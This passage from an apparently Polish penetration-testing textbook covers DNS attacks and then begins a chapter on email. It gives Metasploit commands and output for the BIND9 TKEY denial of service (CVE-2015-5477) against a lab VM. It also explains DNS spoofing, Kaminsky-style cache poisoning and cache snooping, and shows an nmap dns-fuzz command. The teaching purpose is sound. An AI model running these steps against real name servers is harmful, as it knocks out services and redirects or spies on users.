We frameworku Metasploit znajdziemy moduł odpowiedni na tę okazję. Nasz moduł wykorzy-
stuje podatność CVE-2015-5477. Można go odnaleźć, używając klucza tkey.
search tkey

Sam moduł można też wybrać za pomocą tego polecenia:

use auxiliary/dos/dns/bind_tkey

Pamiętaj, żeby zawsze przejrzeć informacje na temat modułu, którego jeszcze nie znasz.
show info

Za pomocą tego polecenia możesz też przejrzeć opcje wybranego modułu:

show options

Teraz wybierz adres celu swojego ataku, używając do tego opcji RHOSTS. W tym przypadku uży-
jemy adresu IP naszego wirtualnego serwera nazw.
Ser RHOSTS 192.168.56.101

Ponownie sprawdź opcje załadowanego modułu i upewnij się, że wprowadzony został po-
prawny adres IP. Po wprowadzeniu polecenia run lub exploit moduł wyśle niepoprawnie zbudo-
wane zapytanie DNS, zawierające żądanie dotyczące rekordu TKEY. Błąd w obsłudze takich zapy-
tań, jaki istnieje w serwerze BIND9, spowoduje, że proces serwera zostanie zatrzymany z błędem
REQUIRE assertion failure. Ten błąd jest efektem kodu będącego częścią serwera, który ma za
zadanie zatrzymać program, jeżeli pewien warunek nie zostanie spełniony. To, że ten błąd może
zostać wywołany zdalnie przez każdego, stanowi poważny problem, ponieważ aplikacja nie jest
w stanie poprawnie obsłużyć tej sytuacji, co wymusza jej zamknięcie. Gdy już wszystko przygotu-
jesz, wpisz polecenie run.

3681988c430c7fe1e8567c4e2f281f7b
3
Udawanie serwera DNS 151

msf auxiliary(dos/dns/bind_tkey) > run

[*] Sending packet to 192.168.56.103

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Jeżeli atak się powiedzie, to powinien on spowodować zatrzymanie usługi (sam serwer powinien
działać nadal). Aby sprawdzić skuteczność ataku, spróbuj użyć programu Dig, aby pobrać rekord
A dla domeny nsa.gov. Czy tym razem uda się otrzymać jakąkolwiek odpowiedź? Jeżeli takiej nie
uzyskasz, to znaczy, że serwer nazw został zatrzymany z powodu opisanego wcześniej błędu. Jeżeli
teraz przeskanujesz port 53 za pomocą programu Nmap, to zobaczysz, że ten port jest zamknięty.
root@kali:~# nmap 192.168.56.101 -sU -p 53
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-19 14:04 GMT
Nmap scan report for 192.168.56.101
Host is up (0.00027s latency).

PORT STATE SERVICE

53/udp closed domain
MAC Address: 08:00:27:F3:FA:D3 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds

Ten sam wynik uzyskasz, jeżeli sprawdzisz też port 53 TCP, ponieważ zaatakowana usługa zaj-
mowała się obsługą obu portów. Aby przeprowadzać dalszy rekonesans lub uruchamiać kolejne
ataki na serwer DNS, musisz ponownie uruchomić maszynę wirtualną (albo zalogować się do jej
systemu i ponownie uruchomić sam serwer). Bardzo miłą cechą maszyn wirtualnych jest to, że
wystarczą dwa kliknięcia, a serwer nazw będzie znowu działał.

ATAKOWANIE SERWERA NAZW KLIENTA

Wymuszenie zatrzymania serwera nazw w swojej własnej maszynie wirtualnej to jedna rzecz, ale
pamiętaj, że pracując dla klienta, należy się z nim skonsultować przed uruchomieniem takiego
exploitu. Dość oczywiste jest, że klienci woleliby nie przerywać pracy swoich serwerów DNS.
Można jednak wynegocjować odpowiedni czas, w którym zatrzymanie serwera spowoduje naj-
mniejsze problemy dla klienta. Ważne jest, żeby istniała możliwość potwierdzenia i sprawdzenia
podatności, ale nie może się to odbywać kosztem przerywania normalnej pracy naszego klienta.
Pamiętajmy, że w każdej kontrolowanej sieci jesteśmy tylko gośćmi.

Udawanie serwera DNS

Atakujący, który jest w stanie przejrzeć ruch sieciowy, a w szczególności pakiety UDP zawierające
żądania DNS, może odpowiedzieć na takie żądania za pomocą spreparowanych pakietów. Taka
możliwość istnieje na przykład w kawiarniach udostępniających swoim klientom sieć wi-fi. Ataku-
jący może tam wykryć żądanie pochodzące od znanej mu aplikacji bankowej i odesłać na nie od-
powiedź zawierającą adres IP serwera z jego własną podrobioną wersją strony tego banku. Ofiara
takiego ataku wprowadzi na tej stronie swoje dane logowania do banku, a po kliknięciu przycisku OK
zostanie przekierowana na prawdziwą stronę banku. Dzięki temu, że system DNS używa pakietów
UDP, czyli protokołu bezpołączeniowego, to pierwsza odpowiedź zawierająca poprawny identyfi-
kator transakcji, jaką otrzyma klient, zostanie przez niego zaakceptowana.

3681988c430c7fe1e8567c4e2f281f7b
3
152 Rozdział 5  System DNS

To tylko jeden z przykładów wykorzystywania metod udawania serwera DNS (ang. DNS spoo-
fing). Aby taki atak się powiódł, atakujący musi znać identyfikator transakcji powiązany z żądaniem
DNS wysłanym przez ofiarę, jak również źródłowy port UDP (tylko serwer DNS korzysta z portu
53, natomiast klienty zmieniają numer portu przy każdym żądaniu). Metoda kopiowania tych da-
nych do odpowiedzi została zaimplementowana w narzędziu o nazwie DNSspoof, którego autorem
jest Dug Song. Możesz spróbować działania tego narzędzia w swojej sieci lokalnej, aby sprawdzić,
jak wpływa to na działanie tej sieci. Program będzie tworzył odpowiedzi na wszystkie wykryte żą-
dania DNS i będzie informował klienty o tym, że adresem IP żądanego zasobu jest adres IP Twojego
komputera. Takie udawanie serwera DNS sprawia, że wykrycie źródła takiego ataku jest bardzo
trudne, ponieważ atakujący mogą maskować dane o źródle złośliwych pakietów DNS. Ten problem
jest szczególnie dokuczliwy, gdy próbujemy zlokalizować źródło ataków DDoS korzystających
z serwerów DNS.

Zatruwanie pamięci podręcznej DNS

Nieodłącznym problemem serwerów DNS jest to, że jeżeli przechowują one niepoprawne lub fał-
szywe informacje, to mogą przekazywać je nie tylko do klientów, ale i do innych serwerów. Ataku-
jący może zatem celowo zmieniać wpisy znajdujące się w pamięci podręcznej serwera, tak żeby każdy
pytający o nie komputer otrzymywał fałszywe wyniki. Ta technika nazywana jest zatruwaniem
pamięci podręcznej (ang. cache poisoning). Pamięć podręczna może zostać zmodyfikowana tak,
żeby zwracać adres IP hosta znajdującego się pod kontrolą atakującego. Wyobraź sobie sytuację, że
ktoś był w stanie zatruć pamięć podręczną Twojego domowego routera, wprowadzając do niej fał-
szywe dane Twojej ulubionej strony WWW. W efekcie każda próba przejrzenia obrazków słodkich
kotków kończyć się będzie wyświetleniem strony atakującego, na której żąda on wypłacenia okupu
w bitcoinach.
Zatruwanie pamięci podręcznej może zostać wykorzystane w kawiarni, ale może też wpływać
na wszystkie wychodzące żądania DNS pochodzące z określonej firmy. Z powodu hierarchicznej
natury systemu DNS każdy serwer nazw korzystający z usług zatrutego serwera sam przejmie od
niego niepoprawne rekordy i będzie przekazywał tak zafałszowane wyniki do swoich klientów.
Jak w takim razie można zatruć pamięć podręczną serwera? W czerwcu 2008 roku Dan Kamin-
sky odkrył i zaprezentował praktyczną metodę zatruwania pamięci podręcznych serwerów DNS.
Aby zatruć pamięć podręczną routera (na przykład routera wi-fi w popularnej kawiarni), należy
wysłać do niego żądania DNS dotyczące hostów z określonej domeny, na przykład google.com.
Takie hosty należy wymieniać iteracyjnie, czyli tworzyć nazwy 1.google.com, 2.google.com, 3.google.com
itd. Na pewno nie będą one istniały w pamięci podręcznej routera (ponieważ hosty o takich nazwach
nie istnieją), przez co zacznie on wysyłać żądania DNS do serwerów nazw firmy Google. Chodzi tu
o to, że musimy teraz przysłać routerowi spreparowane odpowiedzi na każde z takich zapytań.
Adres IP w tych odpowiedziach musi być odpowiednio spreparowany, tak żeby był identyczny
z adresem serwera nazw, z którego korzysta router (w tym przypadku będzie to adres IP serwera
ns1.google.com). Zanim rzeczywisty serwer ns1.google.com przyśle odpowiedź routerowi, masz czas
na wysłanie własnych 100 pakietów UDP. Za każdym razem wysyłasz fałszywą odpowiedź, w której
zmieniany jest zarówno port źródłowy, jak i identyfikator transakcji.

3681988c430c7fe1e8567c4e2f281f7b
3
Zatruwanie pamięci podręcznej DNS 153

Po wysłaniu wystarczającej liczby zapytań i sfabrykowaniu wystarczającej liczby odpowiedzi

uda Ci się zgadnąć wartości parametrów i jedna z tych odpowiedzi zostanie zaakceptowana przez
router jako poprawna i legalna. W efekcie pamięć podręczna routera zostanie zaktualizowana fał-
szywym rekordem SOA. Wystarczy zatem losowo wybierać wartości identyfikatora transakcji
i portu źródłowego, aż w końcu uda się trafić właściwą kombinację. Pamiętaj, że router przyjmie
pierwszą odpowiedź DNS, o ile będzie ona miała poprawną wartość obu tych parametrów, a w więk-
szości przypadków będziesz w stanie przesyłać pakiety szybciej niż zdalny serwer nazw. W ten spo-
sób uda Ci się zmienić wpis dotyczący na przykład serwera 3267.google.com. Oznacza to jednocze-
sną zmianę zapisów dla adresu google.com, ponieważ sfałszowana odpowiedź zawierała też rekordy
dotyczące serwera nazw google.com. Zmusiliśmy router, żeby zaktualizował swoją pamięć podręczną
o nowe wartości dla serwerów ns1.google.com itd. Od tego momentu możesz kierować na własną,
złośliwą stronę tych klientów kawiarni, którzy będą chcieli odwiedzić stronę google.com. Ten rodzaj
ataku działa dlatego, że zatruwa on lepki rekord SOA i wpisuje do niego adres Twojego złośliwego
serwera DNS, który od teraz staje się serwerem odpowiedzialnym za domenę google.com (przy-
najmniej dla wszystkich klientów kawiarni).
Ta podatność została opisana w dokumencie CVE-2008-1447 i otrzymała nazwę Bailiwicked.
Aby lepiej zrozumieć jej istotę, możesz spróbować skorzystać z odpowiedniego modułu Metasploit
o nazwie bailiwicked_domain. Ten moduł można uruchomić dokładnie tak samo jak wszystkie po-
zostałe. Najpierw trzeba wyszukać nazwę modułu, a następnie wpisać jego ścieżkę w poleceniu use.
Dobrze jest też przejrzeć informacje o tym module za pomocą polecenia show info, jak również
sprawdzić wartości dostępnych opcji.

BAILIWICK

Angielskie słowo bailiwick można przetłumaczyć jako:

Pewien obszar, za który odpowiedzialna jest (lub go kontroluje) pewna osoba lub organizacja.
W systemie DNS tym słowem opisywana jest przestrzeń lub strefa domen, która jest pod
kontrolą określonego serwera. Na przykład serwer ns1.google.com jest serwerem SOA dla strefy
google.com. W przypadku ataku zatruwania pamięci podręcznej ważne jest to, żeby sfałszowane
odpowiedzi sprawiały wrażenie, że pochodzą od tego serwera nazw lub serwera SOA, od którego
atakowany serwer (lub router) spodziewa się je otrzymać. Odpowiedzi od innego serwera SOA,
na przykład od serwera ns1.duckduckgo.com, będą odrzucane.

CO TO JEST SERWER ROZWIĄZUJĄCY I PAMIĘĆ PODRĘCZNA?

Serwer rozwijający
Serwerem rozwijającym (ang. resolver) nazywany jest kliencki element systemu DNS. Serwer
nazw może być zarówno serwerem, jak i klientem. Serwerem rozwijającym staje się wtedy, gdy
w reakcji na otrzymane zapytanie stara się rekursywnie uzyskać na nie odpowiedź.

3681988c430c7fe1e8567c4e2f281f7b
3
154 Rozdział 5  System DNS

Otwarty serwer rozwijający

Otwartym serwerem rozwijającym nazywany jest serwer przyjmujący zapytania od dowolnego
użytkownika i próbujący uzyskać na nie odpowiedź. Domyślnie takie serwery są dostępne pod
adresami 8.8.8.8 i 9.9.9.9. Otwarte serwery rozwijające mogą zostać wykorzystane w atakach
wzmacniających ruch sieciowy. Często pojawiają się one w wyniku błędnej konfiguracji serwe-
rów lub innych błędów popełnianych przez administratorów systemów. Przy pracy dla klienta
należy zatem zwracać uwagę na poprawność konfiguracji serwera nazw.

Pamięć podręczna serwera rozwijającego

Pamięć podręczna serwera rozwijającego jest bazą danych zawierającą wartości niedawno uzy-
skanych rekordów DNS. Firmowe stacje robocze, ale i typowe komputery osobiste mają już
w sobie pamięć podręczną serwera rozwijającego. Wiele innych serwerów (w tym serwery do-
stawcy internetu, ale i serwery 8.8.8.8 i 9.9.9.9) również korzysta z tego rodzaju pamięci pod-
ręcznej. Poszczególne wpisy są przechowywane w pamięci podręcznej do momentu ich wyga-
śnięcia, zgodnie z wartością parametru TTL.

Węszenie w pamięci podręcznej DNS

Technika zwana węszeniem w pamięci podręcznej (ang. cache snooping) może być wykorzystywana
do ujawniania historii przeglądania użytkownika lub grupy użytkowników danej sieci. Jako przy-
kładu można użyć swojej sieci domowej. Możesz węszyć w pamięci podręcznej swojego routera,
wysyłając do niego regularne zapytania DNS dotyczące wybranej domeny. Trzeba się tylko upew-
nić, czy w routerze wyłączone są rekursywne wyszukiwania. Można to zrobić, wyłączając znacznik
wyszukiwania rekursywnego w zapytaniu. Jeżeli router odpowie, podając adres IP interesującej nas
domeny, to znaczy, że tę informację miał w swojej pamięci podręcznej. Wyłączenie wyszukiwania
rekursywnego w zapytaniu jest możliwe w takich narzędziach jak Dig lub NSlookup. W programie
Dig wystarczy użyć opcji +norecurse, tak jak w poniższym przykładzie:
dig pewnadomena.pl +norecurse

Jeżeli wyślesz zapytanie przez program Dig do routera, który nie zawiera w pamięci podręcznej
rekordu A dla domeny pewnadomena.pl, to w odpowiedzi uzyskasz tylko błąd SERVFAIL. Teraz
można jeszcze raz spróbować wysłać to zapytanie, ale bez wyłączania rekursywnego wyszukiwania.
dig pewnadomena.pl

Tym razem router powinien udzielić całkowicie poprawnej odpowiedzi. Jeżeli teraz ponownie
wyślesz to samo zapytanie z wyłączonym rekursywnym wyszukiwaniem (tak jak za pierwszym ra-
zem), to router powinien udzielić odpowiedzi, bo nadal będzie miał ją w swojej pamięci podręcznej.
Na potrzeby węszenia w pamięci podręcznej można też mierzyć czas potrzebny na udzielenie od-
powiedzi. Ogólna zasada mówi, że jeżeli router potrzebuje sporo czasu, żeby udzielić odpowiedzi,
to znaczy, że nie miał jej w swojej pamięci podręcznej. Jeżeli odpowiedź przychodzi z opóźnieniem,
to bardzo możliwe jest, że zanim routerowi udało się uzyskać właściwe dane od serwera SOA po-
szukiwanej domeny, musiał najpierw wysłać zapytania do kilku innych serwerów.

3681988c430c7fe1e8567c4e2f281f7b
3
DNSSEC 155

DNSSEC
Przez lata wprowadzano wiele usprawnień do systemu DNS, poprawiając poziom jego bezpie-
czeństwa. Rozszerzenia DNSSEC (DNS Security Extensions — rozszerzenia zabezpieczeń DNS)
uzupełniają system o funkcje uwierzytelniania oraz kontroli spójności danych, co podnosi po-
ziom bezpieczeństwa danych. Serwery nazw z włączonymi funkcjami DNSSEC znacznie mniej
ufają innym serwerom nazw, a dzięki różnym usprawnieniom protokołu znacznie trudniej jest
sfałszować odpowiedzi.
DNSSEC korzysta z infrastruktury klucza publicznego (PKI — Public Key Infrastructure), która
jest metodą korzystającą z certyfikatów wydawanych przez centra certyfikacji (zaufane strony trzecie)
w celu potwierdzenia tożsamości osób i organizacji. Jednym z częstych nieporozumień związanych
z DNSSEC jest twierdzenie, że szyfruje ono zapytania i odpowiedzi DNS. Tak nie jest! Zawartość
pakietów DNS nadal może zostać przechwycona. Aby umożliwić współpracę z PKI, wprowadzono
natomiast nowe rodzaje rekordów (mówiliśmy już o rekordach TKEY). Takie rekordy są podpisy-
wane kluczami publicznymi, co znacznie utrudnia wprowadzenie fałszywych rekordów. Dokładny
opis działania rozszerzeń DNSSEC można znaleźć w wielu poświęconych im dokumentach RFC.
Na początek warto zainteresować się dokumentem RFC 3833 z sierpnia 2004 roku, który opisuje
mechanizmy działania DNSSEC.
Ten dokument próbuje opisywać najbardziej znane zagrożenia dla systemu DNS, a jednocze-
śnie stara się ocenić, czy rozszerzenia DNSSEC są skutecznym narzędziem chroniącym przed
tymi zagrożeniami.
Istnieją też inne dokumenty RFS opisujące system DNS. Referencje tych dokumentów znaj-
dziesz w opisanym wyżej dokumencie. Miłą cechą RFC 3833 jest to, że opisywane są w nim również
szczegóły działania poprzednich podatności. Sprawia to, że jest to doskonała lektura dla hakera.

Rozmywanie
Rozmywanie (ang. fuzying) jest metodą wyszukiwania nowych podatności w dowolnym oprogra-
mowaniu lub technologii poprzez wstrzykiwanie losowych lub niepoprawnych danych wejścio-
wych w celu wywołania błędu w tym oprogramowaniu. Zastanówmy się zatem, jak można rozmy-
wać działanie systemu DNS. Można to zrobić, generując pseudolosowe zapytania DNS, zmieniając
zawartość pakietów UDP i zasypując wybrany serwer nazw żądaniami, a to wszystko w celu wywo-
łania jakiegoś błędu w oprogramowaniu. Serwer nazw oraz całe działające na nim oprogramowanie,
podobnie jak większość serwerów sieciowych, oczekuje, że będzie otrzymywać pakiety o określonym
formacie. Jeżeli zatem podamy serwerowi nieoczekiwane dane wejściowe, to może to spowodować
niestandardowe zachowanie całego programu, na przykład wywołać stan odmowy świadczenia
usług, czyli wyłączenia serwera. Nieoczekiwane zachowanie jest jednym ze sposobów wykrywania
potencjalnych podatności. Wyszukiwanie stanów, w których systemy zachowują się w nietypowy
sposób, jest zajęciem, którym chętnie trudni się wielu hakerów.
Rozmywanie umożliwia też ujawnianie innych niedociągnięć, możliwość wykradania informacji
lub danych. Jak można oczekiwać, istniejące implementacje serwerów DNS i powiązanego z nimi opro-
gramowania były już intensywnie poddawane rozmywaniu, który to proces umożliwił powstanie

3681988c430c7fe1e8567c4e2f281f7b
3
156 Rozdział 5  System DNS

wielu nowych exploitów. Podczas rozmywania serwera DNS można doprowadzić do jego wyłącze-
nia, ale ważne jest, żeby dowiedzieć się, jaki pakiet lub zapytanie doprowadziło serwer do tego stanu,
tak żeby można było zbadać dokładniej wykrytą podatność i odtworzyć warunki jej wykorzystania.
Najlepszą możliwość rozmywania serwera DNS mamy wtedy, gdy możemy pracować z nietypowym
i rzadko stosowanym serwerem. Nie oznacza to, że należy od razu skreślać serwery BIND i inne
popularne i chętnie stosowane serwery DNS. Wiele błędów zostało wykrytych dlatego, że ktoś zaj-
rzał w miejsce, o którym wszyscy inni sądzili, że zostało już bardzo dokładnie zbadane.
Czasami można natknąć się na nietypowe serwery DNS, takie jak mojpierwszydns, które aż pro-
szą się o to, żeby pobawić się ich rozmywaniem. Programiści i administratorzy takich systemów
często wprowadzają do nich różne błędy albo pozwalają, żeby nieukończony kod działał na syste-
mach dostępnych publicznie. Powstało już wiele narzędzi przeznaczonych do rozmywania serwe-
rów DNS, takich jak moduł dns_fuzzer będący częścią Metasploita albo skrypt dns_fuzz dostar-
czany razem z programem Nmap.
Skrypty będące częścią Nmap zostaną opisane w następnym rozdziale, a tutaj zaprezentujemy
tylko sposób użycia jednego skryptu w celu rozmywania wybranego serwera DNS:
nmap -sU --script dns-fuzz --script-args timelimit=2h 192.168.56.101 -p 53

Na ekranie nie zobaczysz żadnych dodatkowych informacji poza wstępnym nagłówkiem programu.
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-19 12:39 GMT

Jeżeli chcesz się dowiedzieć, co ten skrypt robi, uruchom dodatkowo program Wireshark, wy-
bierz w nim właściwy interfejs sieciowy i przyjrzyj się przesyłanym pakietom. Zauważysz tutaj, że
Wireshark uznaje te pakiety za niepoprawnie zbudowane (rysunek 5.5). Po pewnym czasie jeden
z takich pakietów zapewne sprawi, że w serwerze pojawi się błąd, ponieważ oprogramowanie nie
będzie w stanie obsłużyć niepoprawnie zbudowanego komunikatu.

Rysunek 5.5. Źle zbudowany pakiet DNS przeglądany w programie Wireshark

3681988c430c7fe1e8567c4e2f281f7b
3
Podsumowanie 157

Jeżeli chcesz zasymulować skuteczny atak przez rozmywanie, to w czasie, gdy działa skrypt roz-
mywający, uruchom ponownie moduł exploitu TKEY w Metasploicie. Ten moduł spowoduje błąd
w podatnej wersji serwera BIND 9.8.1, tak jak zrobił to poprzednio. Ale działający w Nmap skrypt
dns-fuzz założy, że to on był przyczyną błędu serwera, i wyświetli ostatnio wysłany pakiet. Jeżeli to
on rzeczywiście spowodowałby błąd serwera, to można by spróbować odtworzyć ten efekt, ponow-
nie wysyłając ten sam pakiet i kontrolując, czy w serwerze jeszcze raz pojawi się ten sam błąd.

Podsumowanie
W tym rozdziale wyjaśnialiśmy podstawy działania systemu nazw domen. Poznaliśmy też kilka
technik odpytywania tego systemu, używaliśmy w tym celu wybranych narzędzi oraz technik, za
pomocą których uzyskiwaliśmy przydatne informacje. W rozdziale badaliśmy pewien serwer nazw,
który okazał się pracować pod kontrolą usługi BIND9. Sprawdziliśmy, że ta usługa ma kilka zna-
nych podatności oraz działających exploitów. Jeden z tych exploitów pozwolił nam wysłać specjal-
nie przygotowane zapytanie TKEY, które doprowadziło do zatrzymania pracy serwera. Takie sytu-
acje z pewnością należą do kategorii, o której nasi klienci chcieliby zostać poinformowani. Nasz
przykładowy serwer obsługiwał również żądania transferu strefy otrzymane od innego serwera
nazw, przez co ujawnione zostały pewne wrażliwe informacje. Był to przykład typowego, niepo-
prawnego konfigurowania serwera DNS. Byliśmy też świadkami prób wykrywania zawartości pa-
mięci podręcznej serwera DNS, która może ujawniać informacje o sposobie wykorzystywania sieci
przez jej użytkowników. Wstępnie zaprezentowaliśmy też kilka narzędzi, z których będziemy ko-
rzystać podczas badania i przełamywania innych technologii. Do tych narzędzi należą Nmap,
Searchsploit i Metasploit. Wireshark jest narzędziem, które pozwala na przyjrzenie się szczegółom
ruchu sieciowego używanego podczas ataków.
Zatrzymywanie lub manipulowanie serwerami DNS może powodować przestoje w dostępie do
internetu w pewnych firmach. Oznacza to, że nie będzie można realizować codziennych zadań wy-
konywanych za pośrednictwem przeglądarki, poczty elektronicznej i innych narzędzi sieciowych.
Jako etyczni hakerzy raczej nie będziemy musieli przeprowadzać ataków typu DoS. Wyjątki od tej
reguły dotyczą zaledwie kilku wybranych systemów, a system DNS należy do tej grupy. Atak DoS
skierowany na usługi DNS w firmie może mieć dla niej fatalne skutki, ponieważ skutecznie prze-
prowadzony atak tego typu uniemożliwi jej pracownikom korzystanie z sieci WWW, wysyłanie
e-maili i wykonywania innych prac związanych z siecią!

3681988c430c7fe1e8567c4e2f281f7b
3
 Rozdział

6
Poczta elektroniczna

Zbieraliśmy już informacje na temat swojego celu i badaliśmy dostępne serwisy DNS. Tym razem
zajmiemy się badaniem i włamywaniem się do serwera pocztowego, aby ostatecznie uzyskać dostęp
do konta użytkownika root. Firmy mogą korzystać z usług różnych dostawców, takich jak Google
lub Microsoft, albo mogą decydować się na samodzielnie prowadzenie serwerów. Znajomość zasad
działania serwera pocztowego i możliwości włamywania się do niego jest nieocenioną umiejętno-
ścią hakera. Poczta elektroniczna jest jedną z najważniejszych funkcji współczesnych komputerów,
a ludzie korzystają z komputerów do wysyłania i odbierania wiadomości od czasu, gdy powstały
pierwsze sieci.

Jak działa poczta?

Podstawowe koncepcje poczty elektronicznej są bardzo proste. Najpierw trzeba napisać wiadomość
za pomocą klienta pocztowego. Można tu skorzystać z Google Mail działającego w przeglądarce,
programu Microsoft Outlook albo z dowolnego innego klienta, takiego jak Mozilla Thunderbird.
Te narzędzia nazywane są agentami pocztowymi użytkownika (ang. mail user agents — MUA) i od
nich zaczyna się podróż każdego e-maila.
Po kliknięciu przycisku Wyślij klient pocztowy łączy się z agentem transferu poczty (ang. mail
transfer agent — MTA), który jest kolejnym elementem programowym, takim jak Sendmail lub
Exim, działającym na zdalnym serwerze pocztowym. Treść wiadomości jest przesyłana za pomocą
protokołu SMTP (Simple Mail Transfer Protocol), któremu za chwilę przyjrzymy się dokładniej.
Gdy agent MTA działający na serwerze pocztowym odbierze całą wiadomość, zacznie przesyłać ją
do innego agenta MTA, który ostatecznie przekaże ją do agenta dostarczania wiadomości (ang.
message delivery agent — MDA). Agent MDA to kolejny element programowy, którego zadaniem
jest dostarczenie wiadomości do skrzynki pocztowej odbiorcy. Zazwyczaj oprogramowanie MDA
jest połączone w jednym pakiecie z MTA. Do bardziej znanych pakietów MDA należą Procmail,

158

3681988c430c7fe1e8567c4e2f281f7b
3
Jak działa poczta? 159

Maildrop i Dovecot. Przykładem rozbudowanego pakietu zawierającego w sobie elementy MTA i MDA
może być Citadel. Innym bardzo znanym pakietem tego typu jest Microsoft Exchange.
Oprogramowanie MDA przekaże naszą widomość e-mail do skrzynki pocztowej odbiorcy,
która może być zlokalizowana na serwerze przechowującym całość poczty, gdzie odbiorca może
uzyskać dostęp do wszystkich wiadomości. Skrzynka pocztowa wcale nie musi mieć postaci plików
zapisanych gdzieś na serwerze, choć na razie ten obraz będzie dla nas najwygodniejszy.
Gdy wysłana przez nas wiadomość znajdzie się w skrzynce pocztowej odbiorcy, ten będzie mógł
ją odczytać za pomocą własnego programu MUA (czyli klienta). Protokół SMTP jest odpowie-
dzialny za wysyłanie wiadomości, natomiast protokoły POP (Post Office Protocol) oraz IMAP
(Internet Message Access Protocol) są używane do odczytywania wiadomości, które zostały przy-
słane do naszej skrzynki pocztowej. To z tych protokołów korzysta się podczas komunikacji między
agentem MUA a oprogramowaniem skrzynki pocztowej. Jeżeli używasz sieciowego klienta poczty,
czyli jednego z programów typu webmail, to całość rozwiązania korzysta dodatkowo z protokołu
HTTP. Protokołowi HTTP przyjrzymy się dokładniej w następnym rozdziale.
To bardzo uproszczony opis podróży, jaką odbywa każda wiadomość e-mail. Powinien on być
wystarczający jako wprowadzenie do metod hakowania serwerów pocztowych i przechwytywania
wiadomości. Zazwyczaj podróż wiadomości składa się z większej liczby kroków, ale najważniej-
szymi stacjami na tej drodze są MUA, MTA i MDA. Na rysunku 6.1 możesz zobaczyć poszczególne
agenty oraz protokoły obsługujące kolejne kroki podróży wiadomości. Na tym rysunku przedsta-
wiono dwa serwery, z których każdy ma zainstalowany pakiet MDA i MTA. Wirtualny serwer pocz-
towy, który będziemy hakować w tym rozdziale, zawiera w sobie wszystkie elementy tego łańcucha.
Dzięki temu uzyskasz możliwość zbadania poszczególnych koncepcji na własnym komputerze.

Rysunek 6.1. Podróż wiadomości e-mail

3681988c430c7fe1e8567c4e2f281f7b
3
160 Rozdział 6  Poczta elektroniczna

Nagłówki wiadomości
Każdy system odwiedzany przez wiadomość e-mail musi umieścić w niej swój mały dodatek. Oczy-
wiście nie robi tego w treści wiadomości, ale zmienia nagłówki, które normalnie nie są widoczne
dla typowego użytkownika. Dzięki tym metadanym często możliwe jest określenie rodzaju techno-
logii oraz oprogramowania używanego w poszczególnych systemach obsługujących podróż wiado-
mości e-mail. Czasami udaje się nawet w ten sposób określić rodzaj programu antywirusowego uży-
wanego przez odbiorcę do skanowania poczty, co jest niezwykle ważną informacją, jeżeli chcemy
uniknąć wykrycia. Te informacje może przejrzeć każdy, kto wie, jaki przycisk należy kliknąć. Więk-
szość klientów pocztowych udostępnia opcję podglądu kodu źródłowego wiadomości, tak samo jak
przeglądarki umożliwiają przejrzenie kodu źródłowego oglądanych stron WWW. Wystarczy w czasie
czytania wiadomości poszukać takiej opcji jak Pokaż oryginał albo Pokaż źródło.
Kod źródłowy wiadomości będzie mniej więcej podobny do tekstu prezentowanego poniżej, przy
czym trzeba pamiętać, że z naszego przykładu usunęliśmy wiele informacji, żeby nie komplikować
wydruku. Oto wiadomość e-mail wysłana na adres recipients@hacker.house z adresu nadawca@
przyklad.pl. Kod źródłowy tej wiadomości przeglądamy z perspektywy adresu recipient@hacker.house.
Delivered-To: recpient@hacker.house
Received: by 2002:ac8:2bf9:0:0:0:0:0 with SMTP id n54csp7145050qtn;
Mon, 21 Jan 2019 11:14:05 -0800 (PST)
Return-Path: <nadawca@przyklad.pl>
Received: from wout2-smtp.messagingengine.com (wout2-smtp.messagingengine.com. [64.147.123.25])
by mx.google.com with ESMTPS id u2si2383383 qka.125.2019.01.21.11.14.05
for <recipient@hacker.house>
(version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
Mon, 21 Jan 2019 11:14:05 -0800 (PST)
Received-SPF: pass (google.com: domain of sender@example.com designates
64.147.123.25 as permitted sender) client-ip=64.147.123.25;
Received: from compute2.internal (compute2.nyi.internal [10.202.2.42])
by mailout.west.internal (Postfix) with ESMTP id C9C38169C
for <recipient@hacker.house>; Mon, 21 Jan 2019 14:14:02 -0500 (EST)
Received: from mailfrontend1 ([10.202.2.162])
by compute2.internal (MEProxy); Mon, 21 Jan 2019 14:14:02 -0500
Received: from [10.0.2.15] (82-132-240-23.dab.02.net [82.132.240.23])
by mail.messagingengine.com (Postfix) with ESMTPA id A8E4EE407B
for <recipient@hacker.house>; Mon, 21 Jan 2019 14:14:01 -0500 (EST)
To: recipient@hacker.house
From: Nadawca <nadawca@przyklad.pl>
Subject: test
Message-ID: <4711e24e-7c83-0157-8fe2-b4c86dd62a8a@example.com>
Date: Mon, 21 Jan 2019 19:13:28 +0000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Thunderbird/60.4.0
MIME-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
Content-Language: en-US

test

Zwróć uwagę na to, że w wiadomości znajduje się wiele nagłówków Received, które zawierają
adresy IP lub nazwy hostów, przez które ta wiadomość przechodziła. Co ważne, znajdują się tutaj
również wewnętrzne adresy IP (zaczynają się od liczby 10). Widoczne są również informacje

3681988c430c7fe1e8567c4e2f281f7b
3
Powiadomienia o stanie doręczenia 161

o rodzaju używanego oprogramowania (Postfix to nazwa pakietu MTA) oraz o stosowanym pro-
tokole SSL. Wszystkie te dane są niezwykle cenne dla atakującego. Ostatni nagłówek Received znaj-
duje się na początku kodu źródłowego wiadomości i zawiera adres IPv6 (wyróżniony). W tym przy-
padku sama treść wiadomości jest zdecydowanie mniej interesująca od jej nagłówków.
Jeżeli przejrzysz własne wiadomości e-mail, to na pewno zauważysz w nich wiele innych infor-
macji, takich jak niestandardowe nagłówki dopisywane przez różne systemy lub oprogramowanie.
To właśnie w nich można znaleźć ciekawe informacje na temat oprogramowania używanego przez
klienta, czy to Exchange, czy Outlook lub Thunderbird. Dane e-maila składają się z tak zwanej
koperty oraz ciała wiadomości. Na razie przeglądamy zaledwie znaczki pocztowe, które są przykle-
jane na kopertę w czasie, gdy ta podróżuje w systemie poczty elektronicznej.

Powiadomienia o stanie doręczenia

Do ujawnienia takich informacji dochodzi nie tylko w przypadku skutecznego doręczenia wiadomo-
